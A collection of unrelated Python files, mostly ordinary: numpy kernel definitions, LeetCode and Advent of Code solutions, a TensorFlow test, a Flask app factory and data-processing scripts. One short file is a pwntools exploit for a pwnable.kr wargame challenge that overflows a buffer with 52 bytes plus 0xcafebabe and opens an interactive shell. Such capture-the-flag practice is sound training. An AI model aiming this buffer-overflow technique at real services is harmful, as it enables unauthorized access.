    SymbolTree('sum', SymbolTree('X')),
    lambda sizes: sizes['X'][0]*sizes['X'][1] - 1,
    lambda codes, dims: f"np.sum({codes['X']})",
    preDefs={'import numpy as np'}
)

trace = Calculation(
    SymbolTree('tr', SymbolTree('X', attributes={'square_matrix'})),
    lambda sizes: sizes['X'][0] - 1,
    lambda codes, dims: f"np.trace({codes['X']})",
    preDefs={'import numpy as np'}
)

# - Other Matrix fun - #
transp = Calculation(
    SymbolTree('T', SymbolTree('X')),
    lambda sizes: 1, # The cost can be effectively 0 or higher. Numpy only marks unless it really needs to save the result.
    lambda codes, dims: f"{codes['X']}.T",
    bindStrengths=1024 # Not inf, because it's weaker than variables and brackets. But stronger than anything else.
)

diagV = Calculation(
    SymbolTree('diag', attributes={'square_matrix'}, left=SymbolTree('X', attributes={'vector'})),
    lambda sizes: sizes['X'][0],
    lambda codes, dims: f"np.diagflat({codes['X']})", # TODO: Without oriented vectors, np.diag is sufficient.
    preDefs={'import numpy as np'}
)

diagCV = Calculation(
    SymbolTree('diag', attributes={'square_matrix'}, left=SymbolTree('X', attributes={'covector'})),
    lambda sizes: sizes['X'][0],
    lambda codes, dims: f"np.diagflat({codes['X']})", # Without oriented vectors, np.diag is sufficient, but this still works.
    preDefs={'import numpy as np'}
)

diagM = Calculation(
    SymbolTree('diag2', attributes={'vector'}, left=SymbolTree('X', attributes={'square_matrix'})),
    lambda sizes: sizes['X'][0],
    lambda codes, dims: f"np.diagonal({codes['X']}).reshape((-1,1))", # Without oriented vectors, np.diag is sufficient, but this should still work.
    preDefs={'import numpy as np'}
)

det = Calculation(
    SymbolTree('det', SymbolTree('X')),
    lambda sizes: sizes['X'][0]**3, # n^3 (matrix is square). TODO: Assumes underlying Gauss alg. Is that correct?
    # Read here: https://numpy.org/doc/stable/reference/generated/numpy.linalg.det.html
    lambda codes, dims: f"np.linalg.det({codes['X']})",
    preDefs={'import numpy as np'}
)

invMatrix = Calculation(
    SymbolTree('inv', SymbolTree('X', attributes={'square_matrix'})),
    lambda sizes: 2*sizes['X'][0]**3, # n^3 (matrix is square). TODO: Assumes underlying Gauss alg. Is that correct?
    lambda codes, dims: f"np.linalg.inv({codes['X']})",
    preDefs={'import numpy as np'}
)

invSolveVector = Calculation( # X^-1 M* v as solve(X, v)
    SymbolTree("M*", attributes={'vector'},
            left=SymbolTree('inv', attributes={'square_matrix'}, left=SymbolTree('X', attributes={'square_matrix'})),
            right=SymbolTree('v', attributes={'vector'})
    ),
    lambda sizes: (sizes['X'][0])**3+(sizes['X'][0])**2, # TODO: Uses lapack _gesv; read up on that for a better estimate.
    lambda codes, dims: f"np.linalg.solve({codes['X']}, {codes['v']})", # TODO: Have solve as a thing in the tree, use reshapes to put the right stuff in?
    preDefs={'import numpy as np'}
)

invSolveMatrix = Calculation( # X^-1 M* Y as solve(X, Y)
    SymbolTree("M*", attributes={'matrix'},
            left=SymbolTree('inv', attributes={'square_matrix'}, left=SymbolTree('X', attributes={'square_matrix'})),
            right=SymbolTree('Y', attributes={'matrix'})
    ),
    lambda sizes: (sizes['X'][0])**2 * (sizes['X'][0]+sizes['Y'][0]), # TODO: Uses lapack _gesv; read up on that for a better estimate.
    lambda codes, dims: f"np.linalg.solve({codes['X']}, {codes['Y']})", # TODO: Have solve as a thing in the tree, use reshapes to put the right stuff in?
    preDefs={'import numpy as np'}
)

norm1Matrix = Calculation( # Abs sum
    SymbolTree('norm1', SymbolTree('X', attributes={'matrix'})),
    lambda sizes: 2*sizes['X'][0]*sizes['X'][1] -1, # abs + sum for all elements.
    lambda codes, dims: f"np.sum(np.abs({codes['X']}))",
    preDefs={'import numpy as np'}
)

norm1vector = Calculation( # Abs sum
    SymbolTree('norm1', SymbolTree('X', forbiddenAttr={'matrix'})),
    lambda sizes: 2*sizes['X'][0]*sizes['X'][1] -1, # abs + sum for all elements.
    lambda codes, dims: f"np.linalg.norm({codes['X']}, 1)",
    preDefs={'import numpy as np'}
)

norm2Matrix = Calculation( # Frobenius Norm
    SymbolTree('norm2', SymbolTree('X', attributes={'matrix'})),
    lambda sizes: 2*sizes['X'][0]*sizes['X'][1] -1 + costFactors['harsh'], # Multiply with self + sum for all elements. Sqrt.
    lambda codes, dims: f"np.linalg.norm({codes['X']}, 'fro')",
    preDefs={'import numpy as np'}
)

norm2vector = Calculation( # Euclidean Norm
    SymbolTree('norm2', SymbolTree('X', forbiddenAttr={'matrix'})),
    lambda sizes: 2*sizes['X'][0]*sizes['X'][1] -1 + costFactors['harsh'], # Multiply with self + sum for all elements. Sqrt.
    lambda codes, dims: f"np.linalg.norm({codes['X']})", # 2-norm is default.
    preDefs={'import numpy as np'}
)

hardRelu = Calculation(
    SymbolTree('relu', SymbolTree('X')),
    lambda sizes: sizes['X'][0]*sizes['X'][1], # Maximum is an if, though, right? That can be worse than add or mult.
    lambda codes, dims: f"np.maximum({codes['X']}, 0)",
    preDefs={'import numpy as np'}
)

# Elementwise Functions
exp = Calculation(
    SymbolTree('exp', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['harsh'],
    lambda codes, dims: f"np.exp({codes['X']})",
    preDefs={'import numpy as np'}
)

log = Calculation(
    SymbolTree('log', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['harsh'],
    lambda codes, dims: f"np.log({codes['X']})",
    preDefs={'import numpy as np'}
)

sin = Calculation(
    SymbolTree('sin', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['medium'],
    lambda codes, dims: f"np.sin({codes['X']})",
    preDefs={'import numpy as np'}
)

cos = Calculation(
    SymbolTree('cos', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['medium'],
    lambda codes, dims: f"np.cos({codes['X']})",
    preDefs={'import numpy as np'}
)

tan = Calculation(
    SymbolTree('tan', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['medium'],
    lambda codes, dims: f"np.tan({codes['X']})",
    preDefs={'import numpy as np'}
)

arcsin = Calculation(
    SymbolTree('arcsin', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['medium'],
    lambda codes, dims: f"np.arcsin({codes['X']})",
    preDefs={'import numpy as np'}
)

arccos = Calculation(
    SymbolTree('arccos', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['medium'],
    lambda codes, dims: f"np.arccos({codes['X']})",
    preDefs={'import numpy as np'}
)

arctan = Calculation(
    SymbolTree('arctan', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['medium'],
    lambda codes, dims: f"np.arctan({codes['X']})",
    preDefs={'import numpy as np'}
)

tanh = Calculation(
    SymbolTree('tanh', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1] * costFactors['medium'],
    lambda codes, dims: f"np.tanh({codes['X']})",
    preDefs={'import numpy as np'}
)

abs = Calculation(
    SymbolTree('abs', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1],
    lambda codes, dims: f"np.abs({codes['X']})",
    preDefs={'import numpy as np'}
)

sign = Calculation(
    SymbolTree('sign', SymbolTree('X')),
    lambda sizes: sizes['X'][0] * sizes['X'][1],
    lambda codes, dims: f"np.sign({codes['X']})",
    preDefs={'import numpy as np'}
)

#=== Binary Operations ===#

# - Addition - #
add = Calculation(
    SymbolTree('+', SymbolTree('X'), SymbolTree('Y')),
    lambda sizes: sizes['X'][0]*sizes['X'][1],
    lambda codes, dims: f"{codes['X']} + {codes['Y']}",
    bindStrengths=1
)

# - Subtraction - #
sub = Calculation(
    SymbolTree('-', SymbolTree('X'), SymbolTree('Y')),
    lambda sizes: sizes['X'][0]*sizes['X'][1],
    lambda codes, dims: f"{codes['X']} - {codes['Y']}",
    bindStrengths=1
)

# - Multiplication - #
dotMult = Calculation(
    SymbolTree('.*', SymbolTree('X'), SymbolTree('Y')),
    lambda sizes: sizes['X'][0]*sizes['X'][1],
    lambda codes, dims: f"{codes['X']} * {codes['Y']}",
    bindStrengths=3
)

scalarMult = Calculation(
    SymbolTree('S*', SymbolTree('a', attributes={'scalar'}), SymbolTree('Y')),
    lambda sizes: sizes['Y'][0]*sizes['Y'][1],
    lambda codes, dims: f"{codes['a']} * {codes['Y']}",
    bindStrengths=3
)

# Matrix multiplication. M*v and c*M is separated so it can be preferred in the cost heuristic (judging kernels by probable cost).
matMult = Calculation(
    SymbolTree('M*', SymbolTree('X', attributes={'matrix'}), SymbolTree('Y', attributes={'matrix'})),
    lambda sizes: sizes['X'][0]* (2*sizes['X'][1]-1) *sizes['Y'][1],
    lambda codes, dims: f"{codes['X']} @ {codes['Y']}",
    bindStrengths=3
)

matVecMult = Calculation(
    SymbolTree('M*', SymbolTree('X', attributes={'matrix'}), SymbolTree('Y', attributes={'vector'})),
    lambda sizes: sizes['X'][0]* (2*sizes['X'][1]-1),
    lambda codes, dims: f"{codes['X']} @ {codes['Y']}",
    bindStrengths=3
)

covevMatMult = Calculation(
    SymbolTree('M*', SymbolTree('X', attributes={'covector'}), SymbolTree('Y', attributes={'matrix'})),
    lambda sizes: (2*sizes['X'][1]-1) *sizes['Y'][1],
    lambda codes, dims: f"{codes['X']} @ {codes['Y']}",
    bindStrengths=3
)

innerMatMult = Calculation(
    SymbolTree('M*', SymbolTree('X', attributes={'covector'}), SymbolTree('Y', attributes={'vector'})),
    lambda sizes: 2*sizes['X'][1]-1,
    lambda codes, dims: f"{codes['X']} @ {codes['Y']}",
    bindStrengths=3
)

# - Division - #
dotDiv = Calculation(
    SymbolTree('./', SymbolTree('X'), SymbolTree('Y')),
    lambda sizes: sizes['X'][0]*sizes['X'][1],
    lambda codes, dims: f"{codes['X']} / {codes['Y']}",
    bindStrengths=3
)

scalarDiv = Calculation(
    SymbolTree('S/', SymbolTree('Y'), SymbolTree('a', attributes={'scalar'})),
    lambda sizes: sizes['Y'][0]*sizes['Y'][1],
    lambda codes, dims: f"{codes['Y']} / {codes['a']}",
    bindStrengths=3
)

# - Power - #
scalarPower = Calculation(
    SymbolTree('^', SymbolTree('a', attributes={'scalar'}), SymbolTree('b', attributes={'scalar'})),
    lambda sizes: costFactors['harsh'],
    lambda codes, dims: f"{codes['a']} ** {codes['b']}",
    bindStrengths=5
)

#=== Complete List ===#
AllKernels = [
                uminus, sum, trace,
                transp, diagV, diagCV, diagM, det, invMatrix, invSolveVector, invSolveMatrix,
                norm1vector, norm1Matrix, norm2vector, norm2Matrix, hardRelu,
                exp, log, sin, cos, tan, arcsin, arccos, arctan, tanh, abs, sign,
                add, sub,
                dotMult, scalarMult, matMult, matVecMult, covevMatMult, innerMatMult,
                dotDiv, scalarDiv,
                scalarPower,
              ]


import crest_loader
import unittest
from crest.events.meta import LyricEvent

class TestLyricEvent(unittest.TestCase):
    def test_ctor(self):
        LyricEvent()
        LyricEvent('Test')
        LyricEvent('Test', 'ascii')

    def test_message(self):
        evt = LyricEvent('Test')
        self.assertEqual(evt.Message, [0xFF, 0x05, 0x04, 0x54, 0x65, 0x73, 0x74])

if (__name__ == '__main__'):
    unittest.main()


import os

from setuptools import setup, find_packages

here = os.path.abspath(os.path.dirname(__file__))

# To bump versions:
# * Bump here
# * bump version in package.json de frontend
# * create git tag and push
# * reference new tag in docker-edusign-app/backend/Dockerfile
# * reference new tag in docker-edusign-app/nginx/Dockerfile
version = '1.1.2b21'

requires = [x for x in open(os.path.join(here, 'requirements.txt')).read().split('\n') if len(x) > 0]
test_requires = [x for x in open(os.path.join(here, 'test_requirements.txt')).read().split('\n')
                 if len(x) > 0 and not x.startswith('-')]

long_description = open('README.txt').read()

setup(name='edusign-webapp',
      version=version,
      description="Backend for the eduSign web interface",
      long_description=long_description,
      classifiers=[
          "Programming Language :: Python",
      ],
      keywords='',
      author='SUNET',
      author_email='',
      url='https://github.com/SUNET/',
      license='bsd',
      packages=find_packages('src'),
      package_dir={'': 'src'},
      include_package_data=True,
      zip_safe=False,
      install_requires=requires,
      tests_require=test_requires,
      entry_points="""
      """,
      )


class Solution:
    def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:
        graph, indegree = [], []

        for _ in range(numCourses):
            graph.append([])
            indegree.append(0)

        queue = deque()
        order = []

        for course, pre in prerequisites:
            graph[pre].append(course)
            indegree[course] += 1

        no_pre = [course for course, pre in enumerate(indegree) if pre == 0]
        queue = deque(no_pre)

        while queue:
            course = queue.popleft()
            order.append(course)

            for neighbor in graph[course]:
                indegree[neighbor] -= 1

                if indegree[neighbor] == 0:
                    queue.append(neighbor)

        if len(order) != numCourses:
            return []
        return order


import pylab as plt
import ideal32array as ideal
import numpy as np
import os
import h5py

if __name__ == '__main__':
    tel = ideal.PaperArray()
    tel.zenith = np.radians(np.array([90 + 30.7215277778, 21.4283055556]))

    home = '/data4/paper/mmodes/storage/'
    raw_timestream = os.path.join(home, 'psa32redun/psa904/RREXC_timestream/')
    timestream = os.path.join(home, 'programs/psa32redun_ideal/PAPERdata/pydriver/ts1/timestream_f/')
    hdf5 = '/timestream.hdf5'

    for freq in range(203):
        fnum = str(freq)
        #if (len(fnum) == 2):
        #   fnum = '0' + fnum
        #elif (len(fnum) == 1):
        #   fnum = '00' + fnum

        freq_dir = os.path.join(timestream, fnum)
        if not os.path.exists(freq_dir):
            os.makedirs(freq_dir)

        with h5py.File(os.path.join(freq_dir, hdf5), 'a') as F, h5py.File(os.path.join(raw_timestream, fnum, hdf5), 'r') as oldF:
            ts = oldF['/timestream']

            F.create_dataset('/baselines', data=tel.baselines)
            F.create_dataset('/feedconj', data=tel.feedconj)
            F.create_dataset('/feedmap', data=tel.feedmap)
            F.create_dataset('/feedmask', data=tel.feedmask)
            F.create_dataset('/uniquepairs', data=tel.uniquepairs)
            F.create_dataset('/phi', data=np.linspace(0, 2 * np.pi, 854, endpoint=False))

            F.create_dataset('/timestream', data=ts)

            F.attrs['beamtransfer_path'] = os.path.abspath('pydriver/btdir/')
            F.attrs['ntime'] = 854


#!/usr/bin/python
#  http://obmem.info/?p=476

from urllib import request
from gzip import GzipFile
from io import StringIO
# deflate support
#import zlib

# 5.验证码的处理

# 6 gzip/deflate支持
'''
现在的网页普遍支持gzip压缩，这往往可以解决大量传输时间，以VeryCD的主页为例，未压缩版本247K，压缩了以后45K，为原来的1/5。这就意味着抓取速度会快5倍。
然而python的urllib/urllib2默认都不支持压缩，要返回压缩格式，必须在request的header里面写明’accept-encoding’，
然后读取response后更要检查header查看是否有’content-encoding’一项来判断是否需要解码，很繁琐琐碎。如何让urllib2自动支持gzip, defalte呢？
'''
'''
<http://stackoverflow.com/questions/11914472/stringio-in-python3>
The StringIO and cStringIO modules are gone. Instead, import the io module and use io.StringIO or io.BytesIO for text and data respectively.
'''

# 其实可以继承BaseHanlder类，然后build_opener的方式来处理

class ContentEncodingProcessor(request.BaseHandler):
    # add headers to requests

    def http_request(self, req):
        req.add_header("Accept-Encoding", "gzip, deflate")
        return req

    # decode
    def http_response(self, req, resp):
        old_resp = resp
        # gzip
        if resp.headers.get("content-encoding") == "gzip":
            gz = GzipFile(
                fileobj=StringIO(resp.read()),
                mode="r"
            )
            resp = request.addinfourl(gz, old_resp.headers, old_resp.url, old_resp.code)
            resp.msg = old_resp.msg
        # deflate
        if resp.headers.get("content-encoding") == "deflate":
            gz = StringIO(deflate(resp.read()))
            resp = request.addinfourl(gz, old_resp.headers, old_resp.url, old_resp.code)  # 'class to add info() and
            resp.msg = old_resp.msg
        return resp

# def deflate(data):   # zlib only provides the zlib compress format, not the deflate format;
#   try:               # so on top of all there's this workaround:
#     return zlib.decompress(data, -zlib.MAX_WBITS)
#   except zlib.error:
#     return zlib.decompress(data)


# writeup is on the way. stay tuned.
# @zeifan
from pwn import *

target = "pwnable.kr"
port = 9000
magic_str = 0xcafebabe

r = remote(target,port)
r.send("A" * 52 + p32(magic_str)+ "\n")
r.interactive()


from tensorflow.python.distribute import distribute_lib
from tensorflow.python.distribute import mirrored_strategy
from tensorflow.python.framework import ops
from tensorflow.python.framework import test_util
from tensorflow.python.ops import init_ops
from tensorflow.python.ops import template
from tensorflow.python.ops import variable_scope
from tensorflow.python.ops import variables
from tensorflow.python.platform import test

class TemplateMirroredStrategyTest(test.TestCase):

  @test_util.disable_tfrt("Strategy not supported yet.")
  def test_merge_call(self):
    with ops.Graph().as_default():
      # The test is testing a v1 only function.
      if not test.is_gpu_available():
        self.skipTest("No GPU available")

      def fn():
        var1 = variable_scope.get_variable(
            "var1", shape=[], initializer=init_ops.constant_initializer(21.))
        distribute_lib.get_replica_context().merge_call(lambda _: ())
        var2 = variable_scope.get_variable(
            "var2", shape=[], initializer=init_ops.constant_initializer(2.))
        return var1 * var2

      temp = template.make_template("my_template", fn)

      strategy = mirrored_strategy.MirroredStrategy(["/cpu:0", "/gpu:0"])
      out = strategy.experimental_local_results(
          strategy.run(temp))

      self.evaluate(variables.global_variables_initializer())
      self.assertAllEqual([42., 42.], self.evaluate(out))

if __name__ == "__main__":
  test.main()


from numbers import *

element = ''
individual_numbers = []
nums_to_sum = []

for character in numbers:
    if character != '\n':
        element = element + character
    if character == '\n':
        individual_numbers.append(element)
        element = ''

totals = 0
totals_sums = []

for individual in individual_numbers:
    if individual != '':
        totals = totals + int(individual)
    if individual == '':
        totals_sums.append(totals)
        totals = 0

print(totals_sums)

totals_sums_clone = totals_sums.copy()

max_number_1 = max(totals_sums_clone)
print('The first highest number -> ' + str(max_number_1))
totals_sums_clone.remove(max_number_1)

max_number_2 = max(totals_sums_clone)
print('The seconde highest number -> ' + str(max_number_2))
totals_sums_clone.remove(max_number_2)

max_number_3 = max(totals_sums_clone)
print('The third highest number -> ' + str(max_number_3))

total_max_three = max_number_1 + max_number_2 + max_number_3
print('Sum of the three highest numbers -> ' + str(total_max_three))


from __future__ import division

import brand

def label_category(sku_id_ngrams_map, sku_edit_dist_params, CM_graph):
    sku_id, ngrams_map = sku_id_ngrams_map
    category_ids = list()
    unlabelled_tokens = set()
    nodes_ed_map = {}  # node_ids are keys and list of min-edit-dists are values
    PD_tokens = set(ngrams_map[1])
    for node_id in CM_graph.nodes_iter():
        node_data = CM_graph.node[node_id]
        temp_name = node_data['Name']
        all_names = get_list_of_aliases(temp_name)
        min_ed_ratios_all_names = []
        min_ed_ratios = []  # minimum from *min_ed_ratios_all_names*
        for alias in all_names:
            n_words_in_node_name = len(alias.split())
            ngrams = list()
            for i in range(n_words_in_node_name - 1, n_words_in_node_name + 2):
                temp_ngrams = ngrams_map.get(i)
                if temp_ngrams:
                    ngrams.extend(temp_ngrams)
            # ngrams is a list of stings and not a list of tuples
            if ngrams:
                min_ed_ratios = brand.get_min_edit_dist_ratios(ngrams, alias, sku_edit_dist_params)
                min_ed_ratios_all_names.extend(min_ed_ratios)
        if min_ed_ratios_all_names:
            counter = 0
            for ed_ratio, token in min_ed_ratios_all_names:
                if not counter:
                    min_ed_ratio = ed_ratio
                else:
                    if ed_ratio < min_ed_ratio:
                        min_ed_ratio = ed_ratio
                counter += 1
            for ed_ratio, token in min_ed_ratios_all_names:
                if ed_ratio == min_ed_ratio:
                    min_ed_ratios.append((ed_ratio, token))
            nodes_ed_map[node_id] = min_ed_ratios
    matched_nodes, labelled_phrases = brand.get_ed_match(nodes_ed_map, sku_edit_dist_params)
    if matched_nodes:
        for match in matched_nodes:
            # match[0] is node_id and match[1] is min_ed_ratio
            conf_score = 1 - match[1]
            category_ids.append((match[0], conf_score))
        labelled_tokens = brand.split_labelled_phrases(labelled_phrases)
        unlabelled_tokens = brand.get_unlabelled_tokens(labelled_tokens, PD_tokens)
    return sku_id, category_ids, unlabelled_tokens

def get_list_of_aliases(phrase):
    # str is a string with backslashes
    # backslash is used to separate aliases of a phrase
    temp_aliases_list = phrase.split('/')
    aliases = []
    for i in temp_aliases_list:
        if i:  # only if i is not an empty string
            aliases.append(i.strip())
    return aliases


from pathlib import  Path
import openpyxl as xl

import master
import stepone

step = "two"
status = ""
if Path(master.temppath + "stepone.xlsx").exists():
    print("Step "+step)
    wb = xl.load_workbook(master.tempfile+"stepone.xlsx")
    sh1 = wb["stepone"]
    sh2 = wb.create_sheet("steptwo")
    temp_comp_data = ""
    temp_emp_data = ""
    maxrow = sh1.max_row

    for row in range(1,maxrow+1):
        compcode_data = sh1.cell(row, 1).value
        emp_data = sh1.cell(row, 2).value
        date_data = sh1.cell(row,3).value
        comp_data = sh1.cell(row, 4).value
        wrkhrs_data = sh1.cell(row,5).value

        new_compcode_data_cell = sh2.cell(row, 1)
        new_emp_data_cell = sh2.cell(row,2)
        new_date_data_cell = sh2.cell(row,3)
        new_comp_data_cell = sh2.cell(row, 4)
        new_wrkhrs_data_cell = sh2.cell(row,5)
        # if condition try to get the compy name next to each records
        if comp_data is not None:
            temp_comp_data = comp_data
            new_comp_data_cell.value = temp_comp_data
        # elif date_data is not None:
        elif comp_data is None and emp_data is not None:
            pass
        else:
            new_comp_data_cell.value = temp_comp_data
        # if condition try to get the emp name next to each records
        if emp_data is not None:
            temp_emp_data = emp_data
            # print(temp_emp_data)
            # this will help to get into next step
            new_emp_data_cell.value = temp_emp_data
            new_compcode_data_cell.value = compcode_data
        else:
            new_emp_data_cell.value = temp_emp_data
            new_compcode_data_cell.value = compcode_data
        new_date_data_cell.value = date_data
        new_wrkhrs_data_cell.value = wrkhrs_data
    wb.save(master.temppath+"steptwo.xlsx")
    status = "Done"


import itertools

from boltons import iterutils

import parse
import z3

from utils import Vector

import utils

def get_data():
    data = utils.get_input(
        cast=lambda line: parse.parse('Sensor at x={:d}, y={:d}: closest beacon is at x={:d}, y={:d}', line),
        delimiter=None,
        line_delimiter='\n',
    )

    points = []

    for a, b, c, d in data:
        points.append([Vector(a, b), Vector(c, d)])

    return points

def merge_intervals(intervals):
    intervals.sort()
    merged_intervals = []

    for interval in intervals:
        if not merged_intervals or interval[0] > merged_intervals[-1][1] + 1:
            merged_intervals.append(interval)
        else:
            merged_intervals[-1][1] = max(interval[1], merged_intervals[-1][1])

    return merged_intervals

def get_excluded_intervals(data, y):
    """
    Returns a list of merged intervals that cannot contain
    the distress beacon's x value for a given y value
    """
    intervals = []

    for sensor, beacon in data:
        dist = sensor.dist(beacon)
        delta_y = abs(y - sensor[1])

        if delta_y <= dist:
            intervals.append([
                sensor[0] - (dist - delta_y),
                sensor[0] + (dist - delta_y),
            ])

    return merge_intervals(intervals)

def tuning_frequency(beacon):
    return beacon[0] * 4_000_000 + beacon[1]

@utils.part
def part_1():
    data = get_data()
    y = 2_000_000

    taken_xs = len(set(
        point
        for point in itertools.chain.from_iterable(data)
        if point[1] == y
    ))

    excluded_xs = sum(
        interval[1] - interval[0] + 1
        for interval in get_excluded_intervals(data, y)
    )

    print(excluded_xs - taken_xs)

@utils.part
def part_2_brute_force():
    """
    This solution just brute-forces the distress beacon by iterating through all rows
    and getting its excluded intervals until we find a set where [0, 4_000_000] is not entirely
    excluded
    """
    data = get_data()

    for y in range(4_000_001):
        if y % 100000 == 0:
            print(f'Y: {y}')

        excluded_intervals = get_excluded_intervals(data, y)

        if any(interval[0] <= 0 and interval[1] >= 4_000_000 for interval in excluded_intervals):
            continue

        left_interval = iterutils.first(
            excluded_intervals,
            key=lambda interval: interval[0] <= 0 and interval[1] >= 0
        )
        distress_beacon = (left_interval[1] + 1, y)

        print(tuning_frequency(distress_beacon))
        break

def z3_abs(x):
    return z3.If(x >= 0, x, -x)

@utils.part
def part_2_z3():
    solver = z3.Solver()
    x, y = z3.Int('x'), z3.Int('y')

    solver.add(x >= 0, x <= 4_000_000)
    solver.add(y >= 0, y <= 4_000_000)

    for sensor, beacon in get_data():
        dist = sensor.dist(beacon)
        solver.add(z3_abs(sensor[0] - x) + z3_abs(sensor[1] - y) > dist)

    assert solver.check() == z3.sat

    model = solver.model()
    distress_beacon = (model.evaluate(x).as_long(), model.evaluate(y).as_long())
    print(tuning_frequency(distress_beacon))


'''
The trick here is to make some obserbations:
we ONLY permutate strogo numbers with their counterparts
for example: we permutate 6 with 9, 8 with 8, 1 with 1, and 0 with 0
we dont want to permutate starting with 0, and we don't permutate further
once start==end and we encounter a 6 or 9

Time O(???) | Space O(n where n is the length of total permutation of strobos)
'''

class Solution:
    def findStrobogrammatic(self, n):
        result = []
        hash = {'0':'0', '1':'1', '6':'9', '8':'8', '9':'6'}
        self.helper(result, [-1]*n, 0, n-1, hash)

        return result

    def helper(self, result, arr, start, end, hash):
        #when start > end, our permutation is complete
        if start > end:
            result.append(''.join(arr))#we append as a string by joining arr
            return

        for key in hash:
            #this to prevent more permutation after encountering a 6 or 9
            if start == end and key in ('6','9'):
                continue

            #this to prevent 0 prefix permutation
            if start != end and start == 0 and key == '0':
                continue

            #assign key and val with start and end
            arr[start], arr[end] = key, hash[key]

            #shrink assign area with each recursive call
            self.helper(result, arr, start+1, end-1, hash)


#-*- coding: utf-8 -*-

sayi = int(input("Sayı giriniz: "))

def faktoriyel(deger):
    i=1
    sonuc=1
    while i<=deger:
        sonuc*=i   # sonuc = sonuc * i
        i+=1
    return sonuc
print(faktoriyel(sayi))


import pdfkit
import requests

from .Config import config

def convert_to_pdf(txt_path, name):
    options = {'page-size': 'Letter', 'margin-left': '0.75in', 'margin-bottom': '0.75in', 'margin-top': '0.75in',
               'encoding': 'UTF-8', 'margin-right': '0.75in', 'quiet': ''}
    pdf_path = "pdf-files/{}.pdf".format(name)
    pdfkit.from_file(txt_path, pdf_path, options=options)
    print("[x] Finished converting {} to pdf".format(name))
    return pdf_path

def send_email(pdf_path, book_name, email):
    print('[x] Sending e-mail to {} for book {}'.format(email, book_name))
    domain = config['mailgun']['domain']
    apiKey = config['mailgun']['apiKey']
    url = "https://api.mailgun.net/v3/{}/messages".format(domain)
    req = requests.post(
        url,
        auth=("api", apiKey),
        files=[("attachment", ('{}.pdf'.format(book_name), open(pdf_path, 'rb').read()))],
        data={"from": 'no-reply@favournifemi.me',
              "to": email,
              "subject": "Your {} pdf from wuxiaworld-crawler".format(book_name),
              "text": "The {} novel has been crawled and is attached to this mail. Thank you for using our service"
                  .format(book_name)
              }
    )
    print(req.json())


#
# @lc app=leetcode id=1 lang=python3
#
# [1] Two Sum
#

# @lc code=start
class Solution:
    def twoSum(self, nums: List[int], target: int) -> List[int]:
        seen = {}
        for idx,num in enumerate(nums):
            seen[num] = idx
            if target-num in seen:
                return [idx, seen[target-num]]
            else:
                seen[num] = idx

# @lc code=end


# 分かち書きされた文書のクラスタリング

import pandas as pd
import numpy as np
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.cluster import KMeans

def load_pickle():
    import pickle
    with open("./advice_2_tfidf.pickle", 'rb') as f:
        return pickle.load(f)

def dump_pickle(pickle_data, save_file_name):
    import pickle
    with open(save_file_name, 'wb') as f:
        pickle.dump(pickle_data, f)

def wakati_to_docs(wakati_documents):
    docs = np.array(wakati_documents).reshape(-1,)
    return docs

def get_vecs(docs):
    vectorizer = TfidfVectorizer(use_idf=True, token_pattern=u'(?u)\\b\\w+\\b')
    vecs = vectorizer.fit_transform(docs)
    return vecs

def pluck_wakati_space_advice(reports):
    return [report["advice_divide_mecab_space"] for report in reports.values()]

def get_docs_cluster(reports, n_clusters):
    wakati_documents = pluck_wakati_space_advice(reports)
    docs = wakati_to_docs(wakati_documents)
    vecs = get_vecs(docs)
    clusters = KMeans(n_clusters=n_clusters, random_state=0).fit_predict(vecs)
    return docs, clusters

def show_cluster_doc(docs, clusters):
    for doc, cls in zip(docs, clusters):
        print(cls, doc)

def write_csv(docs, clusters, save_file_name):
    pd.DataFrame({
        'cluster_number': clusters,
        'documents': docs,
    }).to_csv(save_file_name, index=None)

if __name__ == '__main__':
    n_clusters = 10
    reports = load_pickle()
    docs, clusters = get_docs_cluster(reports, n_clusters)

    for index in reports:
        reports[index]["cluster"] = clusters[index]

    dump_pickle(reports, "advice_2_cluster.pickle")

    #write_csv(docs, clusters, "cluster.csv")
    #show_cluster_doc(docs, clusters)


# player.py
from modules.hp import HealthPoints
""" This is the module for all things player related"""
from modules.locatable import Locatable
from modules.hp import HealthPoints
from modules.weapon import Weapon
import random
class Player(Locatable, HealthPoints):
    """This class holds information about the player."""
    def __init__(self, name):
        Locatable.__init__(self)
        HealthPoints.__init__(self, 100)
        self.description = name
        self.name = "player"
        self.display = "我"
        self.display_priority = 1
        self.inside = False
        self.wea = None
        self.maxph = 100

    def in_room(self):
        """Called to determine if the player is inside or outside a level"""
        return self.inside

    def enter(self, coords):
        """Places the player in a level at a particular location"""
        self.place(coords)
        self.inside = True

    def exit(self):
        """Removes the player from a level"""
        self.inside = False
    #玩家的初始攻击力
    weapon = Weapon(2)
    deviation = 1

    def dies(self):
        return "你被杀死了!\n胜败乃兵家常事 大侠请重新来过。"


import os
import logging

from flask import Flask, request
from dotenv import load_dotenv

from app.config import config
from app.util import all_exception_handler

def create_app(config_class="development"):
    app = Flask(__name__)
    env = os.environ.get("FLASK_ENV", config_class)
    app.config.from_object(config[env])

    # load dotenv in the base root
    APP_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '../..'))
    dotenv_path = os.path.join(APP_ROOT, '.env')
    load_dotenv(dotenv_path)

    # logging
    setup_logging(app)

    # import and register blueprints
    from app.views import main
    from app.views import news

    app.register_blueprint(main.main)
    app.register_blueprint(news.news, url_prefix='/news')

    # register error Handler
    app.register_error_handler(Exception, all_exception_handler)

    return app

class RequestFormatter(logging.Formatter):
    def format(self, record):
        record.url = request.url
        record.remote_addr = request.remote_addr
        return super().format(record)

def setup_logging(app):
    formatter = RequestFormatter(
    "%(asctime)s %(remote_addr)s: requested %(url)s: %(levelname)s in [%(module)s: %(lineno)d]: %(message)s")
